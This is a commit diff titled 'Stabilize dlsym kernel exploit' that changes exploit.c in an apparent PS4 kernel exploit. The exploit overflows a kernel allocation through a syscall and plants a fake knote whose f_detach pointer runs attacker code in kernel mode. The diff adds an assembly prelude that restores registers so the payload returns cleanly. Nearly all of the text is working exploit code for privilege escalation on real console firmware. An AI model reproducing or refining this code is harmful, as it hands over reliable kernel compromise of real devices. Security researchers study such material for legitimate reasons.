Stabilize dlsym kernel exploit

Author: hitodama

extension/kernel_execute/dynlib_prepare_dlclose/source/exploit.c

@@ -45,7 +45,7 @@ typedef struct Ps4ExploitArgument
 }
 Ps4ExploitArgument;
 
-//#define DEBUG 1
+// #define DEBUG 1
 #ifdef DEBUG
 	#define ps4ExploitDebug(...) \
 		do \
@@ -108,12 +108,6 @@ int ps4ExploitFree(SceKernelEqueue queue)
 	return sceKernelDeleteEqueue(queue);
 }
 
-void ps4ExploitReturn(struct Ps4ExploitArgument *arg)
-{
-	siglongjmp(arg->sigjmpbuf, 1);
-	return;
-}
-
 void ps4ExploitPayload(struct knote *kn)
 {
 	Ps4ExploitArgument *a = (Ps4ExploitArgument *)kn->kn_kq;
@@ -129,22 +123,28 @@ void ps4ExploitPayload(struct knote *kn)
 		if(a->ret[1] != NULL)
 			ps4KernelThreadGetSecondaryReturn(td, a->ret[1]);
 	}
-
-	// Xfast_syscall
-	// movq 0xb0(%%rsp), %%rsp;
-	__asm__ volatile(" \
-		movq %%gs:0x2a0, %%rsp; \
-		subq $0xc0, %%rsp; \
-		movq 0x40(%%rsp), %%rbp; \
-		movq 0xa8(%%rsp), %%r11; \
-		movq %0, %%rcx; \
-		movq %1, %%rdi; \
-		movq %%gs:0x2a8, %%rsp; \
- 		swapgs; \
-		sysretq; \
-	" : : "r"(ps4ExploitReturn), "r"(a));
 }
 
+void ps4ExploitPayloadPrelude(struct knote *);
+
+__asm__(" \
+	.pushsection .text \n \
+	.global ps4ExploitPayloadPrelude \n \
+	.type ps4ExploitPayloadPrelude, @function \n \
+	ps4ExploitPayloadPrelude: \n\
+		call ps4ExploitPayload \n \
+		addq $0x30, %rsp \n \
+		popq %rbx \n \
+		popq %r12 \n \
+		popq %r13 \n \
+		popq %r14 \n \
+		popq %r15 \n \
+		popq %rbp \n \
+		retq \n \
+	.size ps4ExploitPayloadPrelude, .-ps4ExploitPayloadPrelude \n \
+	.popsection \n \
+");
+
 int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1, Ps4ExploitStatus *status)
 {
 	struct Ps4ExploitArgument arg;
@@ -260,7 +260,7 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
 	kl = (struct klist *)(map + PS4_EXPLOIT_CHUNK_SIZE);
 	kn.kn_fop = &fo;
 	kn.kn_kq = (struct kqueue *)&arg;
-	fo.f_detach = ps4ExploitPayload;
+	fo.f_detach = ps4ExploitPayloadPrelude;
 	kl[fd].slh_first = &kn;
 
 	ps4ExploitDebug("Calling syscall, overflowing\n");
@@ -287,23 +287,12 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
 
 	ps4ExploitDebug("Preparing overflow return\n");
 	// create return buffer, install syscall
-	if(sigsetjmp(a->sigjmpbuf, 1) == 0)
-	{
-		ps4ExploitDebug("Freeing overflow, triggering playload\n");
-		// free overflow, trigger playload
-		t = ps4ExploitFree(overflow);
-		overflow = 0;
-		if(t != 0)
-		{
-			a->exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_FREE_ERROR;
-			goto e11;
-		}
+	ps4ExploitDebug("Freeing overflow, triggering playload\n");
+	// free overflow, trigger playload
+	ps4ExploitFree(overflow);
+	overflow = 0;
 
-		a->exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_TRIGGER_ERROR;
-		goto e12;
-	}
-	else
-		ps4ExploitDebug("Returned from triggered playload\n");
+	ps4ExploitDebug("Returned from triggered playload\n");
 
 	ps4ExploitDebug("Unmapping map %p %zu\n", map, mapSize);
 	// free map
@@ -317,7 +306,7 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
 	goto ret;
 
 	// FIXME: all good?
-	e13: e12: e11: e10: e9: e8:
+	e13: e10: e9: e8:
 		munmap(map, mapSize + pageSize);
 	e7:	e6: e5:
 		ps4ExploitFree(overflow);